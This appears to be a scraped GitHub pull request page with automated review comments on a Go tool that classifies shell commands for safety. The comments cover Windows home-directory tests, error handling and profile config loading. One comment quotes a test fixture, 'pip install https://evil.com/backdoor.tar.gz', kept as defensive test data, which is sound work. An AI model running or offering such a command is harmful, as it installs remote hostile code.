.gitignore.tickets/fus-0r82.md.tickets/fus-28ni.md.tickets/fus-2e2q.md.tickets/fus-3n90.md.tickets/fus-4gzq.md.tickets/fus-556x.md.tickets/fus-5tax.md.tickets/fus-6qhn.md.tickets/fus-b2yw.md.tickets/fus-c7gm.md.tickets/fus-d8fn.md.tickets/fus-e3pw.md.tickets/fus-f4qx.md.tickets/fus-fx68.md.tickets/fus-g4vs.md.tickets/fus-g5ry.md.tickets/fus-h5rz.md.tickets/fus-h6sz.md.tickets/fus-ipkg.md.tickets/fus-iviw.md.tickets/fus-izck.md.tickets/fus-j6qd.md.tickets/fus-j7ta.md.tickets/fus-j81l.md.tickets/fus-jlcm.md.tickets/fus-jq6z.md.tickets/fus-k3tn.md.tickets/fus-k8ub.md.tickets/fus-kyal.md.tickets/fus-l9vc.md.tickets/fus-llzr.md.tickets/fus-lzxe.md.tickets/fus-m1wd.md.tickets/fus-n2xe.md.tickets/fus-n4d6.md.tickets/fus-n4hd.md.tickets/fus-p3cw.md.tickets/fus-p3yf.md.tickets/fus-p50r.md.tickets/fus-q8xp.md.tickets/fus-r2kf.md.tickets/fus-r7km.md.tickets/fus-rh1w.md.tickets/fus-t4vn.md.tickets/fus-tssy.md.tickets/fus-tvat.md.tickets/fus-v9mr.md.tickets/fus-w2ht.md.tickets/fus-wrx7.mdinternal/adapters/profile_behavior_integration_test.gointernal/cli/doctor.gointernal/cli/doctor_test.gointernal/judge/provider.gointernal/judge/provider_test.gointernal/releasecheck/releasecheck_test.go
💤 Files with no reviewable changes (49)
- .tickets/fus-k8ub.md
- .tickets/fus-c7gm.md
- .tickets/fus-kyal.md
- .tickets/fus-iviw.md
- .tickets/fus-4gzq.md
- .tickets/fus-p50r.md
- .tickets/fus-556x.md
- .tickets/fus-g5ry.md
- .tickets/fus-tssy.md
- .tickets/fus-n2xe.md
- .tickets/fus-0r82.md
- .tickets/fus-2e2q.md
- .tickets/fus-izck.md
- .tickets/fus-28ni.md
- .tickets/fus-g4vs.md
- .tickets/fus-tvat.md
- .tickets/fus-e3pw.md
- .tickets/fus-r2kf.md
- .tickets/fus-llzr.md
- .tickets/fus-lzxe.md
- .tickets/fus-n4hd.md
- .tickets/fus-j81l.md
- .tickets/fus-p3cw.md
- .tickets/fus-5tax.md
- .tickets/fus-b2yw.md
- .tickets/fus-l9vc.md
- .tickets/fus-k3tn.md
- .tickets/fus-fx68.md
- .tickets/fus-n4d6.md
- .tickets/fus-3n90.md
- .tickets/fus-jlcm.md
- .tickets/fus-v9mr.md
- .tickets/fus-j7ta.md
- .tickets/fus-jq6z.md
- .tickets/fus-wrx7.md
- .tickets/fus-m1wd.md
- .tickets/fus-ipkg.md
- .tickets/fus-rh1w.md
- .tickets/fus-j6qd.md
- .tickets/fus-r7km.md
- .tickets/fus-d8fn.md
- .tickets/fus-w2ht.md
- .tickets/fus-q8xp.md
- .tickets/fus-t4vn.md
- .tickets/fus-p3yf.md
- .tickets/fus-f4qx.md
- .tickets/fus-h5rz.md
- .tickets/fus-h6sz.md
- .tickets/fus-6qhn.md
✅ Files skipped from review due to trivial changes (2)
- .gitignore
- internal/releasecheck/releasecheck_test.go
🚧 Files skipped from review as they are similar to previous changes (3)
- internal/cli/doctor.go
- internal/adapters/profile_behavior_integration_test.go
- internal/cli/doctor_test.go
This comment has been minimized.
This comment has been minimized.
There was a problem hiding this comment.
Actionable comments posted: 1
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In `@internal/judge/provider_test.go`:
- Around line 184-186: The test sets HOME via t.Setenv("HOME", homeDir) but on
Windows os.UserHomeDir() reads USERPROFILE, causing portability issues; update
the test setup to also set USERPROFILE to homeDir (e.g., using
t.Setenv("USERPROFILE", homeDir)) so the variables homeDir and authPath resolve
correctly across platforms (keep the existing HOME set and add USERPROFILE in
the same test initialization).
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Organization UI
Review profile: CHILL
Plan: Pro
Run ID: 71a65bec-7cab-4ff2-baa0-a2401e4c8ffd
📒 Files selected for processing (2)
internal/judge/provider.gointernal/judge/provider_test.go
This comment has been minimized.
This comment has been minimized.
There was a problem hiding this comment.
Actionable comments posted: 2
🧹 Nitpick comments (1)
internal/cli/migration_notice.go (1)
24-26: Consider making notice write failure non-fatal for consistency.The marker persistence failure (lines 27-29) is treated as a warning, but a notice write failure returns an error that could fail the entire command. Since this is an informational migration notice, consider handling both failures uniformly as warnings.
♻️ Optional: Consistent non-fatal error handling
- if err := writeMigrationNotice(cmd.ErrOrStderr()); err != nil { - return err - } + if err := writeMigrationNotice(cmd.ErrOrStderr()); err != nil { + // Non-fatal: notice is informational only + return nil + }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@internal/cli/migration_notice.go` around lines 24 - 26, The writeMigrationNotice call currently returns the error and aborts the command; change its error handling to be non-fatal and consistent with the marker-persistence handling by logging a warning instead of returning—catch the error from writeMigrationNotice(cmd.ErrOrStderr()), write a warning message to cmd.ErrOrStderr() (including err details) and continue execution (do not return the error); mirror the existing marker persistence warning behavior so both failures are treated uniformly.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In `@internal/tui/approvals_view.go`:
- Around line 607-613: currentProfile should not swallow config.LoadConfig
errors — change its signature to return (string, error), call
config.LoadConfig(config.ConfigPath()) and if err != nil return "", err (do not
map load errors to config.ProfileRelaxed); only when cfg != nil and err == nil
evaluate cfg.Profile and return config.ProfileRelaxed for blank profiles,
otherwise return the trimmed profile. Update all callers of currentProfile to
handle the error accordingly.
In `@testdata/fixtures/commands.yaml`:
- Around line 563-565: Update the YAML fixture entry where command: "pip install
https://evil.com/backdoor.tar.gz" and expected: "CAUTION" so the description no
longer says "requires approval"; change the description field to reflect the new
expected result (e.g., "pip install from URL flagged as CAUTION") ensuring the
description text matches the expected: "CAUTION" outcome.
---
Nitpick comments:
In `@internal/cli/migration_notice.go`:
- Around line 24-26: The writeMigrationNotice call currently returns the error
and aborts the command; change its error handling to be non-fatal and consistent
with the marker-persistence handling by logging a warning instead of
returning—catch the error from writeMigrationNotice(cmd.ErrOrStderr()), write a
warning message to cmd.ErrOrStderr() (including err details) and continue
execution (do not return the error); mirror the existing marker persistence
warning behavior so both failures are treated uniformly.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Organization UI
Review profile: CHILL
Plan: Pro
Run ID: f588ab57-e461-408e-8097-88fc4bcd7850
📒 Files selected for processing (17)
internal/adapters/hook.gointernal/adapters/hook_test.gointernal/adapters/native_file_policy.gointernal/cli/config_scaffold.gointernal/cli/doctor_test.gointernal/cli/install_test.gointernal/cli/migration_notice.gointernal/cli/migration_notice_test.gointernal/core/classify_test.gointernal/db/db_test.gointernal/db/schema.gointernal/judge/prompt.gointernal/judge/prompt_test.gointernal/policy/builtins_security.gointernal/tui/approvals_view.gointernal/tui/approvals_view_test.gotestdata/fixtures/commands.yaml
✅ Files skipped from review due to trivial changes (2)
- internal/judge/prompt.go
- internal/db/schema.go
🚧 Files skipped from review as they are similar to previous changes (8)
- internal/cli/install_test.go
- internal/cli/config_scaffold.go
- internal/policy/builtins_security.go
- internal/cli/doctor_test.go
- internal/adapters/hook.go
- internal/adapters/hook_test.go
- internal/cli/migration_notice_test.go
- internal/core/classify_test.go
Kody Review CompleteGreat news! 🎉 Keep up the excellent work! 🚀 Kody Guide: Usage and ConfigurationInteracting with Kody
Current Kody ConfigurationReview OptionsThe following review options are enabled or disabled:
|
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary by CodeRabbit
New Features
Behavior Changes
Diagnostics
Documentation